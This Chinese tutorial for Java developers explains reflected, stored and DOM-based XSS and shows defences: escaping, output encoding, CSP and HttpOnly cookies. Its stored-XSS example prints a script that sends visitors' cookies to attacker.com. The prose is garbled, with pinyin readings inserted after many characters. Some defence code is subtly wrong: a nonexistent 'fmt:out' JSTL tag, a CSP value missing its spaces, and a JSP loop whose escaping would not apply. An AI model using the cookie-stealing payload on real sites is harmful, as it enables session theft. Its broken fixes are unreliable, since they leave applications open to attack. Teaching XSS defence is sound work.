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在當(dāng)今數(shù)字化的時(shí)代，網(wǎng)絡(luò)安全問題愈發(fā)重要，對(duì)于 Java 后端開發(fā)者而言，深入了解各類安全威脅并掌握相應(yīng)的防御手段是必不可少的技能。其中，XSS（跨站腳本攻擊）作為一種常見且危害較大的攻擊方式，嚴(yán)重威脅著 Web 應(yīng)用的安全。本文將深入剖析 XSS 攻擊的原理、類型，并詳細(xì)介紹 Java 后端針對(duì) XSS 攻擊的防御手段。

XSS 攻擊概述

XSS 攻擊，即跨站腳本攻擊（Cross-Site Scripting），攻擊者通過在目標(biāo)網(wǎng)站注入惡意腳本，當(dāng)用戶訪問該網(wǎng)站時(shí)，這些腳本會(huì)在用戶的瀏覽器中執(zhí)行，從而獲取用戶的敏感信息，如 cookie、會(huì)話令牌等，或者執(zhí)行其他惡意操作。XSS 攻擊的本質(zhì)是網(wǎng)站對(duì)用戶輸入的內(nèi)容沒有進(jìn)行嚴(yán)格的過濾和驗(yàn)證，導(dǎo)致惡意腳本被注入到網(wǎng)頁中。

XSS 攻擊的類型

1. 反射型 XSS

反射型 XSS 是最常見的 XSS 攻擊類型之一。攻擊者通過構(gòu)造包含惡意腳本的 URL，誘使用戶點(diǎn)擊該 URL。當(dāng)用戶訪問該 URL 時(shí)，服務(wù)器會(huì)將惡意腳本作為響應(yīng)的一部分返回給瀏覽器，瀏覽器會(huì)執(zhí)行該腳本。例如，一個(gè)搜索頁面，用戶在搜索框中輸入關(guān)鍵詞，服務(wù)器將關(guān)鍵詞顯示在搜索結(jié)果頁面中。如果服務(wù)器沒有對(duì)用戶輸入的關(guān)鍵詞進(jìn)行過濾，攻擊者可以構(gòu)造如下 URL：

http://example.com/search?keyword=<script>alert('XSS')</script>

當(dāng)用戶點(diǎn)擊該 URL 時(shí)，瀏覽器會(huì)彈出一個(gè)警告框，顯示“XSS”。

2. 存儲(chǔ)型 XSS

存儲(chǔ)型 XSS 比反射型 XSS 更為嚴(yán)重。攻擊者將惡意腳本存儲(chǔ)在服務(wù)器的數(shù)據(jù)庫中，當(dāng)其他用戶訪問包含該惡意腳本的頁面時(shí)，瀏覽器會(huì)執(zhí)行該腳本。例如，一個(gè)留言板應(yīng)用，用戶可以在留言板上發(fā)表留言。如果服務(wù)器沒有對(duì)用戶輸入的留言內(nèi)容進(jìn)行過濾，攻擊者可以發(fā)表一條包含惡意腳本的留言：

<script>document.location='http://attacker.com?cookie='+document.cookie</script>

當(dāng)其他用戶訪問該留言板時(shí)，瀏覽器會(huì)將用戶的 cookie 發(fā)送到攻擊者的服務(wù)器，攻擊者就可以獲取用戶的敏感信息。

3. DOM 型 XSS

DOM 型 XSS 是基于文檔對(duì)象模型（DOM）的 XSS 攻擊。攻擊者通過修改頁面的 DOM 結(jié)構(gòu)，注入惡意腳本。與反射型和存儲(chǔ)型 XSS 不同，DOM 型 XSS 不需要服務(wù)器參與，完全在客戶端執(zhí)行。例如，一個(gè)頁面中有一個(gè)輸入框和一個(gè)按鈕，點(diǎn)擊按鈕會(huì)將輸入框中的內(nèi)容顯示在頁面上。如果代碼沒有對(duì)輸入框中的內(nèi)容進(jìn)行過濾，攻擊者可以在輸入框中輸入惡意腳本：

<script>alert('XSS')</script>

點(diǎn)擊按鈕后，瀏覽器會(huì)執(zhí)行該腳本。

Java 后端防御 XSS 攻擊的手段

1. 輸入驗(yàn)證和過濾

在 Java 后端，對(duì)用戶輸入的內(nèi)容進(jìn)行嚴(yán)格的驗(yàn)證和過濾是防御 XSS 攻擊的重要手段?？梢允褂谜齽t表達(dá)式或第三方庫來過濾掉惡意腳本。例如，使用 Apache Commons Lang 庫的 StringEscapeUtils 類來轉(zhuǎn)義特殊字符：

import org.apache.commons.lang3.StringEscapeUtils;

public class XSSFilter {
    public static String filter(String input) {
        if (input == null) {
            return null;
        }
        return StringEscapeUtils.escapeHtml4(input);
    }
}

在處理用戶輸入時(shí)，調(diào)用該方法對(duì)輸入內(nèi)容進(jìn)行過濾：

String userInput = request.getParameter("input");
String filteredInput = XSSFilter.filter(userInput);

2. 輸出編碼

除了對(duì)輸入內(nèi)容進(jìn)行過濾，還需要對(duì)輸出內(nèi)容進(jìn)行編碼。在將用戶輸入的內(nèi)容顯示在頁面上時(shí)，將特殊字符轉(zhuǎn)換為 HTML 實(shí)體，防止瀏覽器將其解釋為腳本。例如，在 JSP 頁面中，可以使用 JSTL 的 fmt:out 標(biāo)簽進(jìn)行輸出編碼：

<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
<fmt:out value="${userInput}" escapeXml="true"/>

3. 設(shè)置 HTTP 頭信息

通過設(shè)置 HTTP 頭信息，可以增強(qiáng)瀏覽器的安全性。例如，設(shè)置 Content-Security-Policy（CSP）頭信息，限制頁面可以加載的資源來源，防止惡意腳本的加載。在 Java 中，可以使用 Servlet 的 response 對(duì)象設(shè)置 CSP 頭信息：

response.setHeader("Content-Security-Policy", "default-src'self'; script-src'self'");

上述代碼表示只允許從當(dāng)前域名加載資源，并且只允許從當(dāng)前域名加載腳本。

4. 使用 HttpOnly 屬性

對(duì)于存儲(chǔ)用戶敏感信息的 cookie，設(shè)置 HttpOnly 屬性可以防止 JavaScript 腳本訪問該 cookie，從而避免 XSS 攻擊獲取用戶的 cookie。在 Java 中，可以使用 Cookie 對(duì)象的 setHttpOnly 方法設(shè)置 HttpOnly 屬性：

Cookie cookie = new Cookie("sessionId", "123456");
cookie.setHttpOnly(true);
response.addCookie(cookie);

實(shí)際案例分析

下面通過一個(gè)簡單的 Java Web 應(yīng)用來演示如何防御 XSS 攻擊。假設(shè)我們有一個(gè)簡單的留言板應(yīng)用，用戶可以在留言板上發(fā)表留言。

首先，創(chuàng)建一個(gè) Servlet 來處理用戶的留言請(qǐng)求：

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/message")
public class MessageServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String message = request.getParameter("message");
        // 對(duì)用戶輸入的留言內(nèi)容進(jìn)行過濾
        String filteredMessage = XSSFilter.filter(message);
        // 將過濾后的留言存儲(chǔ)到數(shù)據(jù)庫中
        // ...
        response.sendRedirect("/messageBoard.jsp");
    }
}

然后，在 JSP 頁面中顯示留言時(shí)，使用 JSTL 的 fmt:out 標(biāo)簽進(jìn)行輸出編碼：

<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
<%@ page import="java.util.List" %>
<%
    // 從數(shù)據(jù)庫中獲取留言列表
    List<String> messages = // ...
%>
<ul>
    <% for (String message : messages) { %><fmt:out value="${message}" escapeXml="true"/><% } %>
</ul>

通過以上代碼，我們對(duì)用戶輸入的留言內(nèi)容進(jìn)行了過濾，并對(duì)輸出內(nèi)容進(jìn)行了編碼，有效地防御了 XSS 攻擊。

總結(jié)

XSS 攻擊是一種常見且危害較大的 Web 安全威脅，Java 后端開發(fā)者需要深入了解 XSS 攻擊的原理和類型，并掌握相應(yīng)的防御手段。通過輸入驗(yàn)證和過濾、輸出編碼、設(shè)置 HTTP 頭信息和使用 HttpOnly 屬性等方法，可以有效地防御 XSS 攻擊，保障 Web 應(yīng)用的安全。同時(shí)，開發(fā)者還需要不斷學(xué)習(xí)和關(guān)注最新的安全技術(shù)，及時(shí)更新和完善應(yīng)用的安全機(jī)制。